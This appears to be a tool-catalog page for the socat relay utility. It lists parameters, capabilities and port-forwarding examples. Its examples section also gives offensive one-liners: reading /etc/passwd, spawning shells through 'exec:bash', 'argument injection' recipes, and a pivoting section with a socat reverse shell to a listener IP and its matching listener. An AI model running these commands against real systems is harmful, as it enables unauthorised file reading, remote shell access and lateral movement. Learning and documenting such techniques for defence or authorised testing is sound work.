network enabled community medium v1.0.0

socat

Multipurpose relay tool for bidirectional data transfer between sockets, pipes, files, and serial ports with SSL support.

📋 Live Preview

socat {flag-h}

📎 flag-h

socat {flag-h}

Sandbox: execFile · Timeout: 120s

Capabilities

network.socket.proxy

network.socket.ssl

network.socket.relay

network.port.redirect

network.socket.udp

network.serial.connect

network.socket.forward

security.execution.command

security.privilege-escalation.shell

system.file.read

Parameters

Name	Type	Required	Default	Description	Aliases
`flag-h`	array	No	-	like -h, plus a list of all common address option names -hhh like -hh, plus a list of all available address option names -d[ddd] increase verbosity (use up to 4 times; 2 are recommended) -d0\|1\|2\|3\|...	`-h`, `-?`
`0`	boolean	No	-	do not prefer an IP version	`-0`
`4`	boolean	No	-	prefer IPv4 if version is not explicitly specified	`-4`
`6`	boolean	No	-	prefer IPv6 if version is not explicitly specified	`-6`
`D`	boolean	No	-	analyze file descriptors before loop	`-D`
`L`	boolean	No	-	try to obtain lock, or fail	`-L`
`R`	boolean	No	-	raw dump of data flowing from right to left	`-R`
`S`	boolean	No	-	log these signals, override default	`-S`
`T`	boolean	No	-	total inactivity timeout in seconds	`-T`
`U`	boolean	No	-	unidirectional mode (right to left)	`-U`
`V`	boolean	No	-	print version and feature information to stdout, and exit	`-V`
`W`	boolean	No	-	try to obtain lock, or wait	`-W`
`b`	boolean	No	-	set data buffer size (8192)	`-b`
`d`	boolean	No	-	increase verbosity (use up to 4 times; 2 are recommended)	`-d`
`d0`	boolean	No	-	\|1\|2\|3\|4 set verbosity level (0: Errors; 4 all including Debug)	`-d0`
`experimental`	boolean	No	-	enable experimental features	`--experimental`
`g`	boolean	No	-	do not check option groups	`-g`
`hh`	boolean	No	-	plus a list of all common address option names	`-hh`, `-h`
`hhh`	boolean	No	-	plus a list of all available address option names	`-hhh`, `-hh`
`lf`	boolean	No	-	log to file	`-lf`
`lh`	boolean	No	-	add hostname to log messages	`-lh`
`lm`	boolean	No	-	mixed log mode (stderr during initialization, then syslog)	`-lm`
`lp`	boolean	No	-	set the program name used for logging and vars	`-lp`
`ls`	boolean	No	-	log to stderr (default if no other log)	`-ls`
`lu`	boolean	No	-	use microseconds for logging timestamps	`-lu`
`ly`	boolean	No	-	log to syslog, using facility (default is daemon)	`-ly`
`r`	boolean	No	-	raw dump of data flowing from left to right	`-r`
`s`	boolean	No	-	sloppy	`-s`
`t`	boolean	No	-	wait seconds before closing second channel	`-t`
`u`	boolean	No	-	unidirectional mode (left to right)	`-u`
`v`	boolean	No	-	verbose text dump of data traffic	`-v`
`x`	boolean	No	-	verbose hexadecimal dump of data traffic	`-x`

Artifacts

Type	Description	MIME	Schema	Trust
`network.socket.data`	Data relayed through the socat connection	text/plain	-	community

Contract

Inputs

network.address.source

Source address specification

network.address.target

Target address specification

Outputs

network.socket.data

Data transferred between endpoints

Side effects: network_traffic

Workflow Edges

Produces

network.socket.data

Consumes

network.address.sourcenetwork.address.target

Resource Profile

Resource	Value
CPU	low
Memory	8 MB
Network	low
Disk I/O	low

Examples

Simple TCP port forwarder

socat TCP-LISTEN:8080,fork TCP:localhost:80

Expose local HTTP server through SSL tunnel

socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:localhost:8080

Create a UNIX socket proxy

socat UNIX-LISTEN:/tmp/proxy.sock,fork TCP:remote:3306

Read/write to serial port

socat - /dev/ttyUSB0,raw,nonblock,echo=0,crnl

UDP port forward

socat UDP-RECVFROM:5000,fork UDP-SENDTO:localhost:6000

Bidirectional relay between two sockets

socat TCP:localhost:8080 TCP:remote:9090

The command leverages socats ability to relay data, reading arbitary file by opening it in read-only mode.

socat -u OPEN:/etc/passwd,rdonly STDOUT

The exec argument runs an arbitrary command and spawn a shell.

socat stdin exec:bash

The exec argument runs an arbitrary command.

socat stdin exec:whoami

Argument injection: read local file: The command leverages socats ability to relay data, reading arbitary file by opening it in read-only mode.

socat -u OPEN:/etc/passwd,rdonly STDOUT

Argument injection: spawn interactive shell: The exec argument runs an arbitrary command and spawn a shell.

socat stdin exec:bash

Argument injection: execute arbitrary command: The exec argument runs an arbitrary command.

socat stdin exec:whoami

Darkiros PIVOTING: socat port forwarding listener (on local machine)

./socat TCP-LISTEN:[port_listener],fork,reuseaddr TCP-LISTEN:[port_to_forward]

Darkiros PIVOTING: socat port forwarding connect (on remote machine)

socat TCP:[connect_ip]:[connect_port] TCP:127.0.0.1:[port_to_forward]

Darkiros PIVOTING: socat reverse shell (remote victime)

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[listner_ip]:[listner_port]

Darkiros PIVOTING: socat reverse shell (local listener)

socat file:`tty`,raw,echo=0 tcp-listen:[port|4444]

Documentation

Socat — Multipurpose Socket Relay

Socat (SOcket CAT) is a powerful networking tool that establishes bidirectional data channels between two endpoints. It can connect nearly any type of I/O endpoint: TCP, UDP, SSL, UNIX sockets, pipes, files, serial ports, and executables.

Address Types

Type	Syntax	Description
TCP	`TCP:host:port`	TCP client connection
TCP-LISTEN	`TCP-LISTEN:port`	TCP server listener
UDP	`UDP:host:port`	UDP datagram
UNIX	`UNIX-CONNECT:/path`	UNIX socket client
UNIX-LISTEN	`UNIX-LISTEN:/path`	UNIX socket server
SSL	`OPENSSL:host:port`	SSL/TLS connection
STDIO	`STDIO`	Standard input/output
EXEC	`EXEC:cmd`	Execute a program
FILE	`FILE:/path`	Open a file
SERIAL	`/dev/ttyUSB0`	Serial port

Common Patterns

Port Forwarding

# Forward local port to remote
socat TCP-LISTEN:8080,reuseaddr,fork TCP:remote-server:80

# WITH SSL (decrypt at proxy)
socat TCP-LISTEN:8443,reuseaddr,fork OPENSSL:backend:443

Network Debugging

# Echo server for testing
socat TCP-LISTEN:9999,reuseaddr,fork EXEC:cat

# Hex dump of traffic
socat -v TCP-LISTEN:8080,fork TCP:localhost:80

Security

# SSL-terminated port forward
socat OPENSSL-LISTEN:443,cert=fullchain.pem,key=privkey.pem,verify=0,fork TCP:localhost:8080

# Encrypted tunnel between two machines
socat TCP-LISTEN:4443,reuseaddr TCP:localhost:4444